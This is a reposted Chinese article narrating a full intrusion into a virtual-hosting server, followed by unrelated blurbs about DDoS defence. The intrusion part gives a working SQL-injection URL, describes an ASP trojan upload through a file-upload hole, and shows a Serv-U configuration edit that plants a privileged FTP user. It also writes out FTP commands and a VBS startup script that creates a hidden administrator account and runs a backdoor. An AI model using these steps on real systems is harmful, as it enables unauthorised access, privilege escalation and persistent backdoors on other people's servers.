黑客对一台虚拟主机服务器的渗透全记录
作者:白桃企划师
时间:2026-08-03
转载
利用惊云下载系统漏洞获取管理员密码,通过动网upfile asp漏洞上传ASP木马进入服务器,修改Serv-U配置文件添加用户,以FTP登录并上传脚本至启动目录,待管理员登录后自动执行,最终获取系统管理员权限。
# 惊云下载系统漏洞利用实战分析
近期,安全研究者一树披露了惊云下载系统的一个安全漏洞,其根源在于`admin/user.asp`文件存在SQL注入风险。
攻击者只需构造如下HTTP请求,即可触发漏洞:
```
http://www.xxx.com/down/admin/user.asp?user=admin' and asc(mid(pwd,1,1))>37 and '1'='1
```
该请求本质等价于执行了以下SQL语句:
```
select * from UserInfo where user='admin' and asc(mid(pwd,1,1))>37 and '1'='1'
```
通过Access数据库的SQL注入漏洞,攻击者能够逐步获取管理员账户的密码哈希值。
此外,服务器上还附带了`upfile.htm`文件。尝试利用动网论坛的`upfile.asp`文件上传漏洞,结果不出所料——成功上传了ASP木马。
成功进入服务器后,发现C盘和D盘为NTFS分区,权限受限无法直接访问。E盘运行着Serv-U、PHP和WebMail服务,F盘为虚拟站点。所幸Serv-U的安装目录具有可写权限。
原本计划直接替换Serv-U的配置文件,但此举容易暴露且操作复杂。转而考虑利用Serv-U的本地权限提升漏洞。
首先在本地搭建Serv-U环境,创建一个用户,设置为系统管理员,主目录指向C盘,并赋予可执行权限。然后查看`ServUDaemon.ini`配置文件,其结构清晰如下:
```
[GLOBAL]
Version=5.0.0.11
LocalSetupPassword=072C63105200180D5C07170A7E3E
LocalSetupPortNo=60628
ProcessID=972
[DOMAINS]
Domain1=192.168.0.102||21|向导产生域|1|0|0
Domain2=192.168.0.102||2121|123|2|0|0
[Domain1]
User1=www|1|0
[USER=www|1]
Password=ih0C292E1AC82920B7F384007F302A1296
HomeDir=D:\xiaoben
TimeOut=600
Note1="Wizard generated account"
Access1=D:\xiaoben|RLPWAMCD
SKEYValues=
[Domain2]
User1=rover|1|0
User2=123|1|0
[USER=rover|2]
Password=dx5D12C060F16C7166779414FA038E881D
HomeDir=c:\
TimeOut=600
Maintenance=System
Access1=C:\|RWAMELCDP
SKEYValues=
[USER=123|2]
Password=kv3F6EED70340AD1478ADF95963A07FD00
HomeDir=c:\
TimeOut=600
Access1=C:\|RWAMLCDP
SKEYValues=
```
其中`rover`即为刚才新建的用户。随后,通过虚拟主机上的网页木马,打开目标服务器的`ServUDaemon.ini`文件,按照本地配置格式直接写入以下用户信息:
```
User1=rover|1|0
[USER=rover|2]
Password=dx5D12C060F16C7166779414FA038E881D
HomeDir=c:\
TimeOut=600
Maintenance=System
Access1=C:\|RWAMELCDP
SKEYValues=
```
保存配置后,使用新建的用户名和密码尝试FTP连接:
```
ftp> open ip
Connected to ip.
220 Serv-U FTP Server v5.0.0.4 for WinSock ready...
User (ip:(none)): id
331 User name okay, please send complete E-mail address as password.
Password: password
230 User logged in, proceed.
```
连接成功。
接着尝试进入Windows系统目录:对于Windows 2000,目标为`winnt`;对于Windows XP/2003,则为`windows`目录。
```
ftp> cd winnt
250 Directory changed to /WINNT
ftp> cd system32
250 Directory changed to /WINNT/system32
```
尝试使用`net.exe`命令添加系统用户:
```
ftp> quote site exec net.exe user rover rover1234 /add
```
执行失败,提示权限不足。但既然已获得C盘访问权限,可以采取其他策略。
将后门程序`server.exe`上传至`system32`目录,并编写如下VBS脚本:
```vbscript
set wshshell=createobject ("wscript.shell")
a=wshshell.run ("cmd.exe /c net user tsinternetuser rover1234 /add",0)
b=wshshell.run ("cmd.exe /c net localgroup Administrators tsinternetuser /add",0)
b=wshshell.run ("cmd.exe /c net user tsinternetuser /active:yes",0)
b=wshshell.run ("cmd.exe /c server.exe",0)
```
该脚本的功能清晰:修改`tsinternetuser`用户密码为`rover1234`,将其加入管理员组,启用该用户,并执行后门程序。
将脚本保存为`HELP.vbe`,上传至目标服务器的启动目录:`C:\Documents and Settings\All Users\「开始」菜单\程序\启动`。这样,管理员登录系统时脚本将自动运行。
随后只需等待,大约相当于观看一部《蜘蛛侠》电影的时间。待管理员登录后,通过后门程序连接,即可获得管理员权限的Shell。
至于清理痕迹等善后操作,此处不再赘述。今日心情不佳,本文叙述略显杂乱,敬请读者见谅。
游乐网为非赢利性网站,所展示的游戏/软件/文章内容均来自于互联网或第三方用户上传分享,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系youleyoucom@outlook.com。
DDoS攻击的三大主要形式:原理、特征与防御重点
DDoS攻击主要分为基于流量(Volume)、基于应用层(Application)和基于协议(Protocol)三种形式。流量型攻击通过海量数据淹没带宽;应用层攻击利用Web漏洞耗尽服务器资源;协议层攻击则利用TCP握手缺陷导致系统挂起。了解这些原理是制定针对性防御策略的基础。
如何有效预防和缓解DDoS攻击:5大核心策略详解
面对DDoS攻击,单纯增加带宽已非长久之计。本文详解5大核心防护策略:优化网络硬件配置、建立DNS冗余机制、部署透明缓解技术、引入负载平衡器及专用Anti-DDoS模块。通过合理组合这些技术手段,可有效抵御SYN泛洪、Slowloris等常见攻击,保障业务连续性与网站可用性。
DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析
许多企业误以为CDN、防火墙或黑名单能完全抵御DDoS攻击。本文深入解析四大常见误区:CDN仅提供部分缓解、静态黑名单易失效、防火墙算力有限且可能成为目标、阈值警报仅具滞后性。了解这些局限性,有助于构建更立体的防御体系,避免在攻击发生时措手不及。
常见DDoS攻击类型详解:原理、特征与防御策略
本文详细解析四种常见DDoS攻击类型:SYN Flood利用TCP三次握手缺陷耗尽资源;UDP Flood通过海量数据包造成带宽拥塞;ICMP Flood利用Ping请求消耗系统算力;应用层Flood针对Web脚本进行高频请求。了解其原理是制定有效防御策略的基础。
如何有效抵御DDOS攻击:4种核心防护方案解析
面对DDOS攻击,企业需构建多层防护体系。本文详解四大核心策略:利用反向路由器查询进行流量清洗,通过GCDN智能分配节点隐藏源站IP,部署负载均衡硬件分担压力,以及接入高防机房抵御数百G恶意流量。掌握这些技术,可最大程度保障业务连续性。